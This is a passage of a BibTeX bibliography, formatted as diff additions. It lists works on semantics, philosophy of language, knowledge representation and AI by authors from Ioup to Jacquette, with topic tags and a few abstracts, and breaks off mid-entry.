+ +@phdthesis{ ioup:1975a, + author = {Georgette L. Ioup}, + title = {The Treatment of Quantifier Scope in a Transformational + Grammar}, + school = {New York University}, + year = {1975}, + type = {Ph.{D}. Dissertation}, + address = {New York}, + missinginfo = {A's 1st name, Department}, + topic = {nl-quantifiers;nl-quantifier-scope;} + } + +@article{ ioup:1977a, + author = {Georgette Ioup}, + title = {Specificity and the Interpretation of Quantifiers}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {1}, + number = {2}, + pages = {233--245}, + topic = {specificity;nl-quantifiers;} + } + +@incollection{ isard:1975a, + author = {Stephen Isard}, + title = {Changing the Context}, + booktitle = {Formal Semantics of Natural Language}, + publisher = {Cambridge University Press}, + year = {1975}, + editor = {Edward L. Keenan}, + pages = {287--296}, + address = {Cambridge, England}, + topic = {context;indexicals;} + } + +@incollection{ ishida:1989a, + author = {Yoshiteru Ishida}, + title = {A Framework for Dynamic Representation of Knowledge: A + Minimum Principle in Organizing Knowledge Representation}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {170--179}, + address = {San Mateo, California}, + topic = {kr;kr-course;case-based-reasoning;memory-models;} + } + +@incollection{ ishiguro:1979a, + author = {Hid\'e Ishiguro}, + title = {Contingent Truths and Possible Worlds}, + booktitle = {Midwest Studies in Philosophy Volume {V}: + Studies in Metaphysics}, + publisher = {University of Minnesota Press}, + year = {1979}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {357--367}, + address = {Minneapolis}, + topic = {Leibniz;philosophy-of-possible-worlds;} + } + +@article{ ishikawa:1995a, + author = {Masumi Ishikawa}, + title = {Learning of Modular Structured Networks}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {75}, + number = {1}, + pages = {51--62}, + acontentnote = {Abstract: + Learning of large-scale neural networks suffers from + computational cost and the local minima problem. One solution to + these difficulties is the use of modular structured networks. + Proposed here is the learning of modular networks using + structural learning with forgetting. It enables the formation of + modules. It also enables automatic utilization of appropriate + modules from among the previously learned ones. This not only + achieves efficient learning, but also makes the resulting + network understandable due to its modular character. + In the learning of a Boolean function, the present module + acquires information from its subtask module without any + supervision. In the parity problem, a previously learned + lower-order parity problem is automatically used. The + geometrical transformation of figures can be realized by a + sequence of elementary transformations. This sequence can also + be discovered by the learning of multi-layer modular networks. + These examples well demonstrate the effectiveness of modular + structured networks constructed by structural learning with + forgetting.}, + topic = {machine-learning;connectionist-models;} + } + +@article{ isli-cohn:2000a, + author = {Amar Isli and Anthony G. Cohn}, + title = {A New Approach to Cyclic Ordering of {2D} Orientations + Using Ternary Relation Algebras}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {122}, + number = {1--2}, + pages = {137--187}, + topic = {spatial-reasoning;qualitative-reasoning; + constraint-satisfaction;algebraic-logic;} + } + +@inproceedings{ isozaki-katsuno:1996a, + author = {Hideki Isozaki and Hirofumi Katsuno}, + title = {A Semantic Characterization of an Algorithm for + Estimating Others' Beliefs from Observation}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference, + Vol. 2}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {543--549}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {propositional-attitude-ascription;} + } + +@inproceedings{ israel_dj:1980a1, + author = {David J. Israel}, + title = {What's Wrong with Nonmonotonic Logic?}, + booktitle = {Proceedings of the First National Conference on + Artificial Intelligence}, + year = {1980}, + pages = {99--101}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + xref = {Republication: israel_dj:1980a2.}, + topic = {kr;foundations-of-nonmonotonic-logic;kr-course;} + } + +@incollection{ israel_dj:1980a2, + author = {David J. Israel}, + title = {What's Wrong with Nonmonotonic Logic?}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + address = {Los Altos, California}, + pages = {53--55}, + xref = {Original Publication: israel_dj:1980a1.}, + topic = {kr;foundations-of-nonmonotonic-logic;kr-course;} + } + +@incollection{ israel_dj-brachman:1984a, + author = {David J. Israel and Ronald J. Brachman}, + title = {Some Remarks on the Semantics of Representation Languages}, + booktitle = {On Conceptual Modelling: Perspectives from Artificial + Intelligence, Databases and Programming Languages}, + publisher = {Springer-Verlag}, + year = {1984}, + editor = {Michael L. Brodie and John Mylopoulos and Joachim W. Schmidt}, + pages = {119--145}, + address = {Berlin}, + topic = {kr;kr-course;foundations-of-kr;semantic-nets;} + } + +@techreport{ israel_dj:1987a, + author = {David J. Israel}, + title = {The Role of Propositional Objects of Belief in Action}, + institution = {Center for the Study of Language and Information, + Stanford University}, + number = {CSLI--87--72}, + year = {1991}, + address = {Stanford, California}, + topic = {action;propositional-attitudes;belief;} + } + +@incollection{ israel_dj:1989b, + author = {David J. Israel}, + title = {Concepts of Information: Comparative Semantics}, + booktitle = {Philosophical Logic and Artificial Intelligence}, + editor = {Richmond H. Thomason}, + pages = {35--72}, + publisher = {Kluwer Academic Publishers}, + address = {Dordrecht}, + year = {1989}, + topic = {foundations-of-semantics;nl-semantics;information-flow-theory;} +} + +@incollection{ israel_dj:1990a, + author = {David J. Israel}, + title = {On Formal Versus Commonsense Semantics}, + booktitle = {Theoretical Issues in Natural Language Processing}, + editor = {Yorick Wilks}, + publisher = {Lawrence Erlbaum Associates}, + address = {Hillsdale, New Jersey}, + year = {1990}, + topic = {nl-semantics;common-sense-knowledge;} +} + +@incollection{ israel_dj:1991a, + author = {David J. Israel}, + title = {A Short Sketch of the Life and Career of John {M}c{C}arthy}, + booktitle = {Artificial Intelligence and Mathematical Theory of + Computation: Papers in Honor of {J}ohn {M}c{C}arthy}, + year = {1991}, + editor = {Vladimir Lifschitz}, + publisher = {Academic Press}, + address = {San Diego, California}, + xref= {An earlier version of this note was published in the Notices + of the American Mathematical Society, Volume 38, Number 4, + April, 1991.}, + topic = {J-McCarthy;} +} + +@article{ israel_dj:1991b, + author = {David J. Israel}, + title = {Katz and {P}ostal on Realism}, + journal = {Linguistics and Philosophy}, + year = {1991}, + volume = {14}, + number = {5}, + pages = {567--574}, + xref = {Commentary on katz_jj-postal:1991a.}, + topic = {philosophy-of-linguistics;} + } + +@inproceedings{ israel_dj-etal:1991a, + author = {David J. Israel and John R. Perry and S. Tutiya}, + title = {Actions and Movements}, + booktitle = {Proceedings of IJCAI-91}, + address = {Sydney, Australia}, + year = {1991}, + topic = {action;} +} + +@article{ israel_dj:1993a, + author = {David J. Israel}, + title = {Review of Language in Action: Categories, Lambdas, and + Dynamic Logic, by {J}ohan van {B}enthem}, + journal = {Artificial Intelligence Journal}, + volume = {63}, + number = {1--2}, + year = {1993}, + pages = {503--510}, + xref = {Review of vanbenthem:1991a.}, + topic = {dynamic-logic;} +} + +@inproceedings{ israel_dj:1993b, + author = {David J. Israel}, + title = {The Very Idea of Dynamic Semantics}, + booktitle = {Proceedings of the Ninth {A}msterdam Colloquium}, + address = {Amsterdam}, + year = {1993}, + missinginfo = {address,publisher}, + topic = {dynamic-logic;} +} + +@incollection{ israel_dj:1993c, + author = {David J. Israel}, + title = {The Role(s) of Logic in Artificial Intelligence}, + booktitle = {The Handbook of Logic in Artificial Intelligence and + Logic Programming, Volume 1: Deductive + Methodologies}, + editor = {Dov Gabbay and Christopher Hogger and J.A. Robinson}, + publisher = {Oxford University Press}, + pages = {1--29}, + address = {Oxford}, + year = {1993}, + topic = {kr;logic-in-AI-survey;kr-course;} +} + +@article{ israel_dj-etal:1993a, + author = {David J. Israel and John R. Perry and Syun Tutiya}, + title = {Executions, Motivations, and Accomplishments}, + journal = {Philosophical Review}, + volume = {102}, + number = {4}, + year = {1993}, + topic = {action;practical-reasoning;} +} + +@unpublished{ israel_dj:1996a, + author = {David J. Israel}, + title = {Process Logics of Action}, + year = {1996}, + note = {Unpublished manuscript. Available from + http://www.ai.sri.com/\user{}israel\_d.}, + topic = {action;dynamic-logic;} + } + +@inproceedings{ israel_ho-shapiro_sc:2000a, + author = {Haythem O. Israel and Stuart C. Shapiro}, + title = {Two Problems with Reasoning and Acting in Time}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {355--365}, + topic = {reasoning-in-time;} + } + +@article{ israel_m:1996a, + author = {M. Israel}, + title = {Polarity Sensitivity as Lexical Semantics}, + journal = {Linguistics and Philosophy}, + year = {1996}, + volume = {19}, + number = {6}, + pages = {619--666}, + topic = {polarity-sensitivity;lexical-semantics;} + } + +@incollection{ itani:1998a, + author = {Reiko Itani}, + title = {A Relevance-Based Analysis of Hearsay + Particles: With Special Reference to {J}apanese + Sentence-Final Particle {\it ne}}, + booktitle = {Relevance Theory: Applications and Implications}, + publisher = {John Benjamins Publishing Co.}, + year = {1998}, + editor = {Robyn Carston and Seiji Uchida}, + pages = {47--68}, + address = {Amsterdam}, + topic = {relevance-theory;Japanese-language;} + } + +@book{ itkonen:1975a, + author = {Esa Itkonen}, + title = {Concerning the Relationship Between Linguistics and Logic}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {nl-and-logic;foundations-of-semantics;} + } + +@incollection{ itkonen:1975b, + author = {Esa Itkonen}, + title = {Transformational Grammar and the Philosophy of Science}, + booktitle = {Current Issues in Linguistic Theory, Volume 1: The + Transformational-Generative Paradigm and Modern Linguistic + Theory}, + publisher = {John Benjamins}, + year = {1975}, + editor = {E.F.U. Koerner}, + pages = {381--445}, + address = {Amsterdam}, + missinginfo = {Check editor's name.}, + topic = {philosophy-of-linguistics;} + } + +@techreport{ itkonen:1976a, + author = {Esa Itkonen}, + title = {Linguistics and Empiricalness: Answers to Criticisms}, + institution = {Department of General Linguistics, University of + Helsinki}, + number = {4}, + year = {1976}, + address = {00170 Helsinki 17}, + topic = {philosophy-of-linguistics;} + } + +@incollection{ ito:1991a, + author = {Takahashi Ito}, + title = {{LISP} and Parallelism}, + booktitle = {Artificial Intelligence and Mathematical Theory of + Computation}, + publisher = {Academic Press}, + year = {1991}, + editor = {Vladimir Lifschitz}, + pages = {187--206}, + address = {San Diego}, + topic = {LISP;parallel-processing;} + } + +@incollection{ itoh-etal:1997a, + author = {Toshihiko Itoh and Akihiro Demda and Satorn Kogure and + Seiichi Nakagawa}, + title = {A Robust Dialogue System with + Spontaneous Speech Understanding and Cooperative + Response}, + booktitle = {Interactive Spoken Dialog Systems: Bridging + Speech and {NLP} Together in Real Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Julia Hirschberg and Candace Kamm and Marilyn Walker}, + pages = {57--60}, + address = {New Brunswick, New Jersey}, + topic = {computational-dialogue;speech-recognition;} + } + +@incollection{ iwanska:1992a, + author = {{\L}ucja Iwa\'nska}, + title = {A General Semantic Model of Negation in Natural Language: + Representation and Inference}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {357--368}, + address = {San Mateo, California}, + topic = {negation;} + } + +@article{ iwanska:1997a, + author = {{\L}ucja Iwa\'nska}, + title = {Reasoning with Intensional Negative Adjectivals: Semantics, + Pragmatics, and Context}, + journal = {Computational Intelligence}, + year = {1997}, + volume = {13}, + number = {3}, + pages = {348--390}, + topic = {context;semantics;} + } + +@inproceedings{ iwanska:1997b, + author = {{\L}ucja Iwa\'nska}, + title = {Toward a Computational Theory of General Context-Dependency + and Underspecificity of Natural Language}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Context in Knowledge Representation and Natural Language}, + year = {1997}, + editor = {Sasa Buva\v{c} and {\L}ucia Iwa\'nska}, + pages = {82--95}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {context;} + } + +@article{ iwanska-zadrozny:1997a, + author = {{\L}ucja Iwa\'nska and Wlodek Zadrozny}, + title = {Introduction to the Special Issue on Context in + Natural Language Processing}, + journal = {Computational Intelligence}, + year = {1997}, + volume = {13}, + number = {3}, + pages = {301--308}, + topic = {context;contextual-reasoning;} + } + +@book{ iwanska-shapiro_sc:2000a, + editor = {Lucja M. Iwa\'nska and Stuart C. Shapiro}, + title = {Natural Language Processing and Knowledge Representation: + Language For Knowledge and Knowledge for Language}, + publisher = {The {MIT} Press}, + year = {2000}, + address = {Cambridge, Massachusetts}, + ISBN = {0262590212}, + xref = {Review: mercer:2001a.}, + topic = {nl-kr;} + } + +@article{ iwanuma-oota:1996a, + author = {Koji Iwanuma and Kazuhiko Oota}, + title = {An Extension of Pointwise Circumscription}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {86}, + number = {2}, + pages = {391--402}, + topic = {circumscrption;nonmonotonic-logic;} + } + +@article{ iwasaki-simon_ha:1986a, + author = {Yumi Iwasaki and Herbert Simon}, + title = {Causality in Device Behavior}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {29}, + number = {1}, + pages = {3--32}, + topic = {causality;qualitative-reasoning;} + } + +@article{ iwasaki-simon_ha:1986b, + author = {Yumi Iwasaki and Herbert A. Simon}, + title = {Theories of Causal Ordering: Reply to de {K}leer and {B}rown}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {29}, + number = {1}, + pages = {63--72}, + xref = {Reply to dekleer-brown_js:1986a.}, + topic = {causality;qualitative-reasoning;} + } + +@article{ iwasaki-simon:1993a, + author = {Yumi Iwasaki and Herbert A. Simon}, + title = {Retrospective on `Causality in Device Behavior'}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {141--146}, + xref = {Retrospective commentary on iwasaki-simon_ha:1986a.}, + topic = {qualitative-physics;causality;} + } + +@article{ iwasaki-simon_ha:1994a, + author = {Yumi Iwasaki and Herbert A. Simon}, + title = {Causality and Model Abstraction}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {67}, + number = {1}, + pages = {143--194}, + acontentnote = {Abstract: + Much of science and engineering is concerned with characterizing + processes by equations describing the relations that hold among + parameters of objects and govern their behavior over time. In + formal descriptions of processes in terms of parameters and + equations, the notion of causality is rarely made explicit. + Formal treatments of the foundations of sciences have avoided + discussions of causation and spoken only of functional relations + among variables. + Nevertheless, the notion of causality plays an important role + in our understanding of phenomena. Even when we describe the + behavior of a system formally in terms of acausal, mathematical + relations, we often give an informal, intuitive explanation of + why the system behaves the way it does in terms of cause-effect + relations. + In this paper, we will present an operational definition of + causal ordering. The definition allows us to extract causal + dependency relations among variables implicit in a model of a + system, when a model is represented as a set of acausal, + mathematical relations. Our approach is based on the theory of + causal ordering first presented by Simon [22]. The paper shows + how to use the theory and its extension in reasoning about + physical systems. Further, the paper studies the relation of + the theory to the problems of model aggregation.}, + topic = {causality;abstraction;reasoning-about-physical-systems;} + } + +@incollection{ iwasaki:1995a, + author = {Yumi Iwasaki}, + title = {Introduction (To Part {IV}: Problem Solving + with Diagrams)}, + booktitle = {Diagrammatic Reasoning}, + publisher = {The {MIT} Press}, + year = {1995}, + editor = {Janice Glasgow and N. Hari Narayanan and B. + Chandrasekaran}, + pages = {657--667}, + address = {Cambridge, Massachusetts}, + topic = {diagrams;reasoning-with-diagrams; + cognitive-psychology;visual-reasoning;} + } + +@book{ jackendoff:1972a, + author = {Ray Jackendoff}, + title = {Semantic Interpretation in Generative Grammar}, + publisher = {The {MIT} Press}, + year = {1972}, + address = {Cambridge, Massachusetts}, + topic = {cognitive-semantics;nl-semantics;} + } + +@article{ jackendoff:1976a, + author = {Ray Jackendoff}, + title = {Toward an Explanatory Semantic Representation}, + journal = {Linguistic Inquiry}, + year = {1976}, + volume = {7}, + pages = {89--150}, + missinginfo = {number}, + topic = {nl-semantics;cognitive-semantics;} + } + +@unpublished{ jackendoff:1979a, + author = {Ray Jackendoff}, + title = {On Keeping Ninety from Rising}, + year = {1979}, + note = {Unpublished manuscript, Brandeis University.}, + topic = {nl-semantics;Montague-grammar;} + } + +@book{ jackendoff:1983a, + author = {Ray Jackendoff}, + title = {Semantics and Cognition}, + publisher = {The {MIT} Press}, + year = {1983}, + address = {Cambridge, Massachusetts}, + xref = {Reviews: kleiman:1986a, carlson_gn:1985a.}, + topic = {cognitive-semantics;} + } + +@article{ jackendoff:1985a, + author = {Ray Jackendoff}, + title = {Information is in the Mind of the Beholder}, + journal = {Linguistics and Philosophy}, + year = {1985}, + volume = {8}, + number = {1}, + pages = {23--33}, + topic = {situation-semantics;foundations-of-semantics; + theories-of-information;} + } + +@article{ jackendoff:1987a, + author = {Ray Jackendoff}, + title = {The Status of Thematic Relations in Linguistic Theory}, + journal = {Linguistic Inquiry}, + year = {1987}, + volume = {18}, + pages = {369--411}, + missinginfo = {number}, + topic = {thematic-relations;} + } + +@book{ jackendoff:1992a, + author = {Ray Jackendoff}, + title = {Languages of the Mind}, + publisher = {The {MIT} Press}, + year = {1992}, + address = {Cambridge, Massachusetts}, + contentnote = {TC: + 1. Languages of the Mind + 2. What Is a Concept, that a Person May Grasp It + 3. Word Meanings and What It Takes to Learn Them: Reflections + on the Piaget-Chomsky Debate + 4. Is There a Faculty of Social Cognition? + 5. Unconscious Information in Language and Psychodynamics + 6. Spatial Language and Spatial Cognition + 7. Musical Parsing and Musical Affect + 8. The Problem of Reality + } , + topic = {cognitive-semantics;foundations-of-linguistics; + foundations-of-cognition;concept-grasping;} + } + +@incollection{ jackendoff:1993a, + author = {Ray Jackendoff}, + title = {X-Bar Semantics}, + booktitle = {Semantics and the Lexicon}, + year = {1993}, + editor = {James Pustejovsky}, + publisher = {Kluwer Academic Publishers}, + pages = {15--26}, + address = {Dordrecht}, + topic = {cognitive-semantics;} + } + +@incollection{ jackendoff:1993b, + author = {Ray Jackendoff}, + title = {The Combinatorial Structure of Thought: The Family of + Causative Concepts}, + booktitle = {Knowledge and Language: Volume {II}, Lexical and Conceptual + Structure}, + publisher = {Kluwer Academic Publishers}, + year = {1993}, + editor = {Eric Reuland and Werner Abraham}, + pages = {31--49}, + address = {Dordrecht}, + topic = {causatives;cognitive-semantics;lexical-semantics;} + } + +@incollection{ jackendoff:1996a, + author = {Ray Jackendoff}, + title = {Semantics and Cognition}, + booktitle = {The Handbook of Contemporary Semantic Theory}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + editor = {Shalom Lappin}, + pages = {539--559}, + xref = {Review: kleiman:1986a.}, + topic = {cognitive-semantics;} + } + +@book{ jackendoff:1997a, + author = {Ray Jackendoff}, + title = {The Architecture of the Language Faculty}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + xref = {Review of stevenson_s:1998a.}, + topic = {cognitive-semantics;foundations-of-linguistics; + cognitive-modularity;} + } + +@article{ jackendoff:1998a, + author = {Ray Jackendoff}, + title = {Why a Conceptualist View of Reference? A Reply + to {A}bbott}, + journal = {Linguistics and Philosophy}, + year = {1998}, + volume = {21}, + number = {2}, + pages = {211--219}, + topic = {reference;philosophy-of-language;} + } + +@incollection{ jackson:1998c, + author = {Frank Jackson}, + title = {Reference and Description Revisited}, + booktitle = {Philosophical Perspectives 12: Language, Mind, + and Ontology}, + publisher = {Blackwell Publishers}, + year = {1998}, + editor = {James E. Tomberlin}, + pages = {201--218}, + address = {Oxford}, + topic = {reference;definite-descriptions;} + } + +@inproceedings{ jackson_e:1995a, + author = {Eric Jackson}, + title = {Negative Polarity and General Statements}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {V}}, + year = {1995}, + editor = {Mandy Simons and Teresa Galloway}, + pages = {130--147}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;polarity;} + } + +@article{ jackson_f:1977a, + author = {Frank Jackson}, + title = {A Causal Theory of Counterfactuals}, + journal = {Australasian Journal of Philosophy}, + year = {1977}, + volume = {55}, + pages = {3--21}, + missinginfo = {number.}, + title = {Perception: a Representative Theory}, + publisher = {Cambridge University Press}, + year = {1977}, + address = {Cambridge}, + ISBN = {0521215501}, + topic = {philosophy-of-perception;epistemology;} + } + +@article{ jackson_f-pargetter:1983a, + author = {Frank Jackson and Robert Pargetter}, + title = {Where the Tickle Defense Goes Wrong}, + journal = {Australasian Journal of Philosophy}, + year = {1983}, + volume = {61}, + pages = {295--299}, + missinginfo = {number}, + topic = {causal-decision-theory;} + } + +@article{ jackson_f:1985a, + author = {Frank Jackson}, + title = {On the Semantics and Logic of Obligation}, + journal = {Mind}, + year = {1985}, + volume = {94}, + pages = {177--195}, + contentnote = {Argues for a contextual presentation of alternatives + as the background to the deontic modality.}, + topic = {deontic-logic;} + } + +@book{ jackson_f:1987a, + author = {Frank Jackson}, + title = {Conditionals}, + publisher = {Basil Blackwell}, + year = {1987}, + address = {Oxford}, + ISBN = {0631146210}, + topic = {conditionals;causality;} + } + +@book{ jackson_f:1991a, + editor = {Frank Jackson}, + title = {Conditionals}, + publisher = {Oxford University Press}, + year = {1991}, + address = {Oxford}, + ISBN = {019875096X, 0198750951 (pbk.)}, + topic = {conditionals;} + } + +@incollection{ jackson_f-pettit:1993a, + author = {Frank Jackson and Phillip Pettit}, + title = {Some Content is Narrow}, + booktitle = {Mental Causation}, + publisher = {Oxford University Press}, + year = {1993}, + editor = {John Heil and Alfred R. Mele}, + pages = {259--282}, + address = {Oxford}, + topic = {broad/narrow-content;internalism/externalism;} + } + +@book{ jackson_f:1998a, + editor = {Frank Jackson}, + title = {Consciousness}, + publisher = {Ashgate}, + year = {1998}, + address = {Aldershot}, + ISBN = {1855219522 (hardcover)}, + topic = {consciousness;} + } + +@book{ jackson_f:1998b, + author = {Frank Jackson}, + title = {Mind, Method, and Conditionals: Selected Essays}, + publisher = {Routledge}, + year = {1998}, + address = {London}, + ISBN = {0415165741 (hardcover)}, + topic = {philosophy-of-mind;conditionals;} + } + +@article{ jackson_f:2000a, + author = {Frank Jackson}, + title = {Review of {\it The Nature of Perception}, by {J}ohn {F}oster}, + journal = {The Journal of Philosophy}, + year = {2001}, + volume = {98}, + number = {12}, + pages = {653--657}, + xref = {Review of: foster_j:2000a.}, + topic = {epistemology;perception;} + } + +@incollection{ jacob:1984a, + author = {Pierre Jacob}, + title = {Remarks on the Language of Thought}, + booktitle = {The Mind and the Machine: Philosophical Aspects + of Artificial Intelligence}, + publisher = {Ellis Horwood, Ltd.}, + year = {1984}, + editor = {Steve B. Torrance}, + pages = {64--78}, + address = {Chichester}, + topic = {philosophy-and-AI;philosophy-of-AI;mental-representations; + mental-language;} + } + +@article{ jacobs_b:1989a, + author = {Bart Jacobs}, + title = {The Inconsistency of Higher Order Extensions of + {M}artin-{L}\"of's Type Theory}, + journal = {Journal of Philosophical Logic}, + year = {1989}, + volume = {18}, + number = {4}, + pages = {399--422}, + topic = {higher-order-logic;constructive-logics;} + } + +@book{ jacobs_b:1999a, + author = {Bart Jacobs}, + title = {Categorial Logic and Type Theory}, + publisher = {Elsevier}, + year = {1999}, + address = {Amsterdam}, + xref = {Review: seely:2000a.}, + topic = {higher-order-logic;proof-theory;} + } + +@article{ jacobs_j:1980a, + author = {Joachim Jacobs}, + title = {Lexical Decomposition in {M}ontague Grammar}, + journal = {Theoretical Linguistics}, + year = {1980}, + volume = {7}, + number = {1/2}, + pages = {121--136}, + topic = {nl-semantics;montague-grammar;lexical-semantics;} + } + +@book{ jacobs_p:1992a, + editor = {Paul S. Jacobs}, + title = {Text-Based Intelligent Systems}, + publisher = {Lawrence Erlbaum Associates}, + year = {1992}, + address = {Mahwah, New Jersey}, + xref = {Review: norvig:1994a.}, + topic = {nl-kr;} + } + +@article{ jacobs_ps-rau_ls:1993a, + author = {Paul S. Jacobs and Lisa F. Rau}, + title = {Innovations in Text Interpretation}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {63}, + number = {1--2}, + pages = {143--191}, + acontentnote = {Abstract: + The field of natural language processing is developing a new + concentration on interpreting extended texts, with applications + in information retrieval, text categorization, and data + extraction. The research that addresses these problems + represents the first real task-driven focus since machine + translation research in the 1960s. Text interpretation + applications have already produced good results in accuracy and + throughput. This new focus on task-driven text interpretation + has been the driving force for a number of advances in the + field, because earlier systems fell so far short of the coverage + required to interpret bodies of text. The innovations behind + this scale-up include work in lexicon development and + representation, weak methods of corpus analysis and text + pre-processing, and flexible control architectures for parsing. + Together, these methods provide coverage and accuracy in + interpretation by extending the knowledge that a system can use + and controlling how this knowledge is applied. This paper + explains the context in which this research is conducted, along + with the general progress of the field and some of the details + of how our own system realizes these advances.}, + topic = {text-understanding;text-skimming;nl-processing;} + } + +@incollection{ jacobs_s-jackson:1983a, + author = {Scott Jacobs and Sally Jackson}, + title = {Speech Act Structure in Conversation: Rational Aspects of + Pragmatic Coherence}, + booktitle = {Conversational Coherence: Form, Structure and Strategy}, + publisher = {Sage Publications}, + year = {1983}, + editor = {Robert T. Craig and Karen Tracey}, + pages = {47--66}, + address = {London}, + topic = {discourse-coherence;discourse-analysis;speech-acts; + pragmatics;} + } + +@book{ jacobsen-pullum:1982a, + editor = {Pauline I. Jacobsen and Geoffrey K. Pullum}, + title = {The Nature of Syntactic Representation}, + publisher = {D. Reidel Publishing Co.}, + year = {1982}, + address = {Dordrecht}, + ISBN = {9027712905}, + xref = {UMich Graduate Library P291 .N31}, + topic = {nl-syntax;foundations-of-syntax;} + } + +@book{ jacobson:1979a, + author = {Paulene Jacobson}, + title = {The Syntax of Crossing Coreference Sentences}, + publisher = {Indiana University Linguistics Club}, + year = {1979}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {Bach-Peters-sentences;anaphora;} + } + +@incollection{ jacobson:1985a, + author = {Pauline Jacobson}, + title = {On the Quantificational Force of {E}nglish Free Relatives}, + booktitle = {Quantification in Natural Languages, Vol. 2}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Emmon Bach and Eloise Jelinek and Angelika Kratzer and + Barbara Partee}, + pages = {451--486}, + address = {Dordrecht}, + topic = {nl-semantics;nl-quantifiers;relative-clauses;adjuncts;} + } + +@article{ jacobson:1987a, + author = {Pauline Jacobson}, + title = {Review of {\it Generalized Phrase Structure Grammar}, by + Gerald Gazdar and Ewan Klein and Geoffrey Pullum and Ivan Sag}, + journal = {Linguistics and Philosophy}, + year = {1987}, + volume = {10}, + number = {3}, + pages = {389--426}, + xref = {Review of gazdar-etal:1985a.}, + xref = {Commentary: hukari-levine_r:1990a.}, + topic = {GPSG;} + } + +@article{ jacobson:1990a, + author = {Paulene Jacobson}, + title = {Raising as Functional Composition}, + journal = {Linguistics and Philosophy}, + year = {1990}, + volume = {13}, + number = {4}, + pages = {423--475}, + topic = {syntax-semantics-interface;} + } + +@inproceedings{ jacobson:1994a, + author = {Paulene Jacobson}, + title = {Binding Connectivity in Copular Predicates}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {IV}}, + year = {1994}, + editor = {Mandy Harvey and Lynn Santelmann}, + pages = {161--178}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;syntax-semantics-interface;predicate-nominals;} + } + +@incollection{ jacobson:1996a, + author = {Paulene Jacobson}, + title = {The Syntax/Semantics Interface in Categorial Grammar}, + booktitle = {The Handbook of Contemporary Semantic Theory}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + editor = {Shalom Lappin}, + pages = {89--116}, + topic = {syntax-semantics-interface;categorial-grammar;} + } + +@article{ jacobson:1999a, + author = {Pauline Jacobson}, + title = {Towards a Variable-Free Semantics}, + journal = {Linguistics and Philosophy}, + year = {1999}, + volume = {22}, + number = {2}, + pages = {117--185}, + topic = {categorial-grammar;combinatory-logic;} + } + +@article{ jacobson:2000a, + author = {Pauline Jacobson}, + title = {Paycheck Pronouns, {B}ach-{P}eters Sentences, + and Variable-Free Semantics}, + journal = {Natural Language Semantics}, + year = {2000}, + volume = {8}, + number = {2}, + pages = {77--155}, + topic = {anaphora;compositionality;Bach-Peters-sentences; + combinatory-logic;} + } + +@inproceedings{ jacquemin-etal:1997a, + author = {Christian Jacquemin and Judith L. Klavans and Evelyne + Tzoukermann}, + title = {Expansion of Multi-Word Terms for Indexing and Retrieval + Using Morphology and Syntax}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {24--31}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {information-retrieval;document-classification;} + } + +@article{ jacquette:1970a, + author = {Dale Jacquette}, + title = {The Hidden Logic of the Slippery Slope Argument}, + journal = {Philosophy and Rhetoric}, + year = {1989}, + volume = {22}, + pages = {59--70}, + missinginfo = {number.}, + topic = {vagueness;} + } + +@book{ jacquette:1996a, + author = {Dale Jaquette}, + title = {Meinongian Logic}, + publisher = {Walter de Gruyter}, + year = {1996}, + address = {Berlin}, + ISBN = {3-11-01485-X}, + xref = {Review: mares:1999a.}, + topic = {(non)existence;} + } + +@article{ jacquette:1999a, + author = 